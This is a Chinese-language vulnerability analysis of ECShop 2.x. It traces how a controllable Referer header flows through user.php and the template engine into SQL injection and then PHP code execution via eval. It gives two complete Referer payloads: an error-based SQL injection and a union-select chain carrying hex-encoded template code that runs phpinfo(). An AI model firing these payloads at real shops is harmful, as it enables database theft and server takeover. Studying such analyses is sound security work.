存在漏洞版本
1 | Ecshop 2.x |
sql注入
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} |
代码执行
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca |
漏洞成因
user.php
文件中display()
函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval
中,从而实现了任意代码执行。
sql注入漏洞分析
- 漏洞起源点在
user.php
中,可以看到HTTP_REFERER
是可控的 - 跟进
assign()
,assign()
把$back_act
赋值给模版变量back_act
。也就是$back_act
变成了$this->_var[$back_act]=$back_act
,而后调用display()
- 跟进
display()
,其中传进去的user_passport.dwt
有一段为 - 首先会调用
$this->fetch
来处理user_passport.dwt
模板文件,fetch()
中用$this->make_compiled
来编译模板,make_compiled
会将模板中的变量解析,将上面assign
的变量$back_act
传递进去了,解析完变量之后返回到display()
中。此时$out
是解析变量后的html
内容,然后判断$this->_echash
是否在$out
中,如果存在的话,使用$this->_echash
来分割内容,得到$k
然后交给insert_mod
处理,其中_echash
的值为 _echash
是默认值,所以$val
内容可随意控制。跟进$this->insert_mod
:$val
传递进来,先用|
分割,得到$fun
和$para
,$para
进行反序列操作,$fun
和insert_
拼接,最后动态调用fun(para)
,函数名部分可控,参数完全可控。在/includes/lib_insert.php
有一个insert_ads()
,其中$arr
是可控的,并且$arr['id']
和$arr['num']
会拼接到SQL语句中- 那么就可以构造出如下的payload
1
echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))
即1
2
3
4
5
6
7
8echash:554fcae493e564ee0dc75bdf2ebf94ca
fun:ads
反序列化数据:
Array
(
[num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
[id] => 1
)
代码执行漏洞分析
- 继续查看
insert_ads()
,在SQL查询结束之后会调用fetch()
,在此处传入的参数是$position_style
$position_style
的值是$row['position_style']
,SQL查询的结果可控,也就是$position_style
可控。但是需要$row['position_id']=$arr['id']
,查询结果可控,arr['id']
同样可控- 其中
$position_style
传入的时候会与str:
进行拼接,进入fetch()
,这个地方调用危险函数$this->_eval
跟进
fetch_str()
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
,这个正则表达式是匹配{}
中的内容。跟进
select()
,当传入的变量的第一个字符是$
,会返回由 php 标签包含变量的字符串,最终返回到_eval()
危险函数内。- 跟进
get_var()
- 当传入的变量没有
.$
时,调用$this->make_var
,跟进make_var
: - 结合
select()
里面的语句来看,$this->_var[\'' . $val . '\']
,要成功执行代码的话,$val
必须要把['
闭合,所以payload构造,从下往上构造,$val
为abc'];echo phpinfo();//
;从select()
进入get_var
的条件是第一个字符是$
,所以payload变成了$abc'];echo phpinfo();//
;而要进入到select()
,需要被捕获,payload变成了{$abc'];echo phpinfo();//}
,这里因为payload的是phpinfo()
,这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//}
。 - 然后把构造好的代码通过SQL注入漏洞传给
$position_style
。 这里可以用union select
来控制查询的结果,根据之前的流程,$row['position_id']
和$arr['id']
要相等,$row['position_id']
是第二列的结果,$position_style
是第九列的结果。$arr['id']
传入' /*
,$arr['num']
传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -
,0x27202f2a
是' /*
的16进制值,也就是$row['position_id']
的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d
是上面构造的php代码的16进制值,也就是$position_style
。
参考文献:https://www.cnblogs.com/bmjoker/p/9953451.html
https://paper.seebug.org/695